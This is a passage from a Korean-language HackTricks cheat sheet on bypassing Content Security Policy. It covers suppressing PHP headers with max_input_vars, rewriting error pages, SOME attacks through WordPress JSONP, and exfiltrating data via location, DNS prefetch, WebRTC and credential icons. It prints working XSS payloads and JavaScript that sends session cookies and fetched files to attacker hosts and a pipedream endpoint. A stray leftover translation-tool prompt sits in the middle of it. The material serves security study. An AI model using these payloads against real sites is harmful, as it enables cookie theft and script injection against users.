흥미롭게도 Chrome과 Firefox 같은 브라우저는 CSP와 iframe 처리 방식에서 서로 다른 동작을 보이며, 이러한 정의되지 않은 동작으로 인해 민감한 정보가 leak될 수 있습니다.
또 다른 기법은 CSP 자체를 악용해 비밀 서브도메인을 추론하는 것입니다. 이 방법은 이진 탐색 알고리즘(binary search algorithm)에 의존하며, 특정 도메인을 의도적으로 차단하도록 CSP를 조정하는 방식입니다. 예를 들어, 비밀 서브도메인이 알 수 없는 문자들로 구성되어 있다면, CSP 지시문을 수정하여 해당 서브도메인을 차단하거나 허용하면서 반복적으로 서로 다른 서브도메인을 테스트할 수 있습니다. 아래는 이 방법을 수행하기 위해 CSP가 어떻게 설정될 수 있는지 보여주는 스니펫입니다:
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
CSP에 의해 차단되거나 허용되는 요청을 모니터링하면 비밀 서브도메인의 가능한 문자를 좁혀 결국 전체 URL을 밝혀낼 수 있다.
두 방법 모두 브라우저에서의 CSP 구현과 동작의 세부 차이를 악용하여, 겉보기에는 안전해 보이는 정책이 의도치 않게 민감한 정보를 leak할 수 있음을 보여준다.
트릭은 here.
CSP 우회를 위한 위험한 기술
PHP Errors when too many params
이 last technique commented in this video에 따르면, 매우 많은 파라미터를 전송하면(예: 1001 GET parameters — POST params나 20개 이상의 파일로도 가능) PHP에서 에러가 발생한다. 이로 인해 발생하는 에러 때문에 PHP 웹 코드에 정의된 모든 **header()
**는 전송되지 않는다.
PHP response buffer overload
PHP는 기본적으로 response를 4096 바이트까지 버퍼링(buffering the response to 4096) 하는 것으로 알려져 있다. 따라서 PHP가 warning을 출력하는 상황에서, warnings 안에 충분한 데이터를 넣으면, response가 CSP header보다 먼저 전송되어 그 header가 무시된다.
즉, 이 기법은 기본적으로 warning들로 response 버퍼를 채워 CSP header가 전송되지 않게 만드는 것이다.
아이디어는 this writeup에서 가져왔다.
Kill CSP via max_input_vars (headers already sent)
headers는 어떤 출력보다 먼저 전송되어야 하기 때문에, PHP가 발생시키는 warning은 이후의 header()
호출을 무효화할 수 있다. 만약 사용자 입력이 max_input_vars
를 초과하면, PHP는 먼저 startup warning을 던지고; 이후의 header('Content-Security-Policy: ...')
호출은 “headers already sent” 오류로 실패하여 CSP를 사실상 비활성화하고, 원래라면 차단되었을 reflective XSS를 허용하게 된다.
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
Please paste the README.md content you want translated. I will translate the English text to Korean while keeping all markdown, tags, links, paths and code unchanged per your rules.
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
오류 페이지 재작성
this writeup에 따르면, 오류 페이지(잠재적으로 CSP가 없을 수 있음)를 로드하고 그 내용을 재작성함으로써 CSP 보호를 우회할 수 있었던 것으로 보입니다.
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)
SOME + 'self' + wordpress
SOME는 페이지의 endpoint에 있는 XSS(또는 매우 제한된 XSS)를 이용해 동일 origin의 다른 endpoints를 악용하는 기법입니다. 이는 공격자 페이지에서 vulnerable endpoint를 로드한 뒤, 해당 공격자 페이지를 원하는 동일 origin의 실제 endpoint로 새로고침하여 수행됩니다. 이렇게 하면 vulnerable endpoint는 opener
객체를 payload에서 사용해 악용하려는 real endpoint의 DOM에 접근할 수 있습니다. 자세한 내용은 다음을 확인하세요:
SOME - Same Origin Method Execution
또한, wordpress는 /wp-json/wp/v2/users/1?_jsonp=data
에 JSONP endpoint를 가지고 있으며, 이 엔드포인트는 전송된 data를 출력에 reflect합니다(단, 영문자, 숫자 및 점만 허용되는 제약이 있습니다).
공격자는 해당 endpoint를 악용해 WordPress를 대상으로 SOME attack을 generate하고 <script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
처럼 페이지에 embed할 수 있습니다. 이 script는 **'self'에 의해 허용(allowed)**되므로 loaded됩니다. 게다가 WordPress가 설치되어 있기 때문에, 공격자는 vulnerable callback endpoint를 통해 SOME attack을 이용해 **CSP를 우회(bypass)**하여 사용자에게 더 많은 권한을 부여하거나 새 플러그인을 설치할 수도 있습니다...\
자세한 공격 수행 방법은 https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
CSP Exfiltration Bypasses
만약 외부 서버와의 interact를 허용하지 않는 엄격한 CSP가 있다면, 정보를 exfiltrate하기 위해 항상 할 수 있는 몇 가지 방법이 있습니다.
Location
비밀 정보를 공격자 서버로 전송하기 위해 단순히 location을 업데이트할 수 있습니다:
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
Meta tag
meta tag를 주입하여 리디렉션할 수 있습니다 (이는 단순한 리디렉션이며 콘텐츠를 leak하지 않습니다)
<meta http-equiv="refresh" content="1; http://attacker.com" />
DNS Prefetch
페이지 로드를 더 빠르게 하기 위해, 브라우저는 호스트 이름을 IP 주소로 미리 해석하고 이후 사용을 위해 캐시합니다.
브라우저에게 호스트 이름을 미리 해석하도록 지시하려면: <link rel="dns-prefetch" href="something.com">
이 동작을 악용해 exfiltrate sensitive information via DNS requests:
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'
또 다른 방법:
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
이를 방지하기 위해 서버는 다음과 같은 HTTP header를 보낼 수 있습니다:
X-DNS-Prefetch-Control: off
tip
이 기법은 headless browsers (bots)에서는 작동하지 않는 것으로 보입니다
WebRTC
여러 페이지에서 WebRTC doesn't check the connect-src
policy라고 읽을 수 있습니다.
실제로 정보를 _leak_하기 위해 _DNS request_를 사용할 수 있습니다. 다음 코드를 확인하세요:
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
또 다른 옵션:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
CredentialsContainer
자격 증명 팝업은 페이지의 제약을 받지 않고 iconURL로 DNS 요청을 보냅니다. 이는 보안 컨텍스트(HTTPS) 또는 localhost에서만 작동합니다.
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)
온라인에서 CSP 정책 확인
CSP 자동 생성
https://csper.io/docs/generating-content-security-policy
참고 자료
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
- https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
- https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket
- The Art of PHP: CTF‑born exploits and techniques
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.